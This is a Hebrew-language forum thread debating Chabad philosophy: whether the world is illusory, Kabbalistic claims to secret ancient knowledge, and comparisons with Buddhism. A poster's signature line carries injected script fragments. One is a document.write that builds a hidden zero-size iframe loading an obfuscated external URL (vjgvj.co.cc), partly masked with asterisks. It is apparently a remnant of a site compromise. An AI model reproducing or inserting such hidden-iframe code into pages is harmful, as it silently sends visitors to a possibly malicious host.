מציאות העולם על פי שיטת חב"ד

איתי

אל תשכח שאיני מומחה לחבד ואני מתרגם אותם כפי מיעוט הבנתי. יש הרבה חבדניקים, וכמה מהם ממש ידענים, שהיו כותבים כאן. איני יודע היכן הם. למרבה הצער הם חדלו להופיע כאן.

זימנתי אחרים שאני מכיר. אולי הם יואילו להפציע.

האם זו יהדות? ובכן.... מה זו יהדות? מה שראוי להיות יהדות? ומהו זה? ולפי מה יודעים?

או מה שנקרא בשם יהדות בהיסטוריה שלנו?

החבדניקים מאמינים שמה שכתב בעל התניא הוא הוא הסוד הנעלם והעמוק של הבריאה. בוודאי שרק מעטים מאד שמעו על זה לפניהם, אבל הם מאמינים, כמו כל המקובלים, שספרי החידוש שלהם הם בעצם שיחזור של חכמה עתיקה שפשוט הוסתרה מאד מאד טוב. עד שמשמים ניתנה רשות לגלות.

__טעות הקלדה..._______________

שומר פיו ולשונו - שומר מצרות נפשו ******* type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");

<האם שיטת חב"ד על מציאות העולם גורסת שהעולם הוא איננו אונטולוגי אלא רק פרי מוחנו>

לשיטת חב"ד גם חב"ד וגם מוחך אינם קיימים אלא הם פרי מוחך.

תוקן על ידי נישטאיך ב- 24/03/2013 05:48:21

וממנה יושע ?

http://pluto.huji.ac.il/~mselio/iyunim-9.pdf

דה וינצ'י

אמנם טענתי שאין אני מומחה לשיטת חב"ד, אבל החלק שאליו התייחסת בהשוואה לדן בראון אינו לקוח מחב"ד עצמה, אלא מעקרון שעושים בו שימוש בהיסטוריה של הקבלה. וביקורתי עליו, שאולי לא הסברתי מספיק, מופיעה בהרחבה בספרו של משה הלברטל על הסוד כתופעה היסטורית.

וזה  תורף הדברים, שוב: המקובלים וכל בעלי הסוד טוענים שהם ממשיכים מסורת עתיקה ולא ידועה. כיון שהמסורת אינה ידועה היום לאיש, כל מי שיטען שהוא זה שיודע אותה לא ניתן להפריך את דבריו.

זה לא אומר שמי שמתיימר לדעת את הסוד הוא משקר. אבל זה אומר שלא ניתן לבדוק אותו בכלים היסטוריים.

טריק כזה יכול לשמש רמאים והוא אמצעי ספרותי נאה (על הספר של בראון לא ארצה להרחיב. הוא מכיל טעויות היסטוריות גסות, לפחות בתחום היהדות. הרוצה יפתח אודותיו אשכול). הטענה שאדם זכה לדעת את הסוד מופיעה פעמים רבות בתולדות עמנו. לא רק אצל מקובלים. גם הרמב"ם טען שהוא יודע את הסודות שחז"ל אסרו לפרסם וכמסתבר הם זהים למה שטענו הפילוסופים בני זמנו, כנראה בני האסכולה האריסטוטלית.

כדאי לזכור שאדם יכול להביע טענות שהוא מאמין בהן בלב שלם. אם יחברו אותו למכונת אמת, היא תראה שהוא מאמין במה שהוא אומר. אבל הוא טועה - ומטעה את עצמו. זה תורף ביקורתי על הקבלה. מאמיניה מאמינים בה בלב שלם, אבל הם טועים, כפי שטענתי באשכולות רבים ולא אמחזר וגם אין בכך צורך כאן.

אם כמובן לא דייקתי בהצגת תכני אמונות חב"ד, עלינו לחכות לחבדניקים או למומחים שייטיבו לעשות זאת ממני.

_________________

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("");

איתי

אם כתבתי שחב"ד רואים את העולם כדמיון, מסתבר שחזרתי בי, סמיילי, או שאני משתמש במילים קצת אחרת. כמדומה שהכל תלוי איך אנו משתמשים במילים: דמיון, מציאות וכיו"ב.

יש בהחלט מקום לטענה, שהזכרתי לעיל, שלבודהיזם ולחב"ד משותפת שלילת המציאות באשר היא וראייתה כדמיון כלומר טעות של המסתכל.

גם הבודהיזם וגם חב"ד נאלצים להתמודד עם השאלה טעות זו מנלן ומי הטועה (התובנה של דקארט).

מה שכתבתי פעם על העלמת התודעה הפרטית בחב"ד שריר וקיים: בעל התניא מפרק את האדם לנשמה ולגוף, ואת הנשמה הוא מפרק לחלקי חלקים. כתוצאה מכך, לא ברור מי שם נקרא "אני". אין כזו ישות, למעשה.

_________________

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("");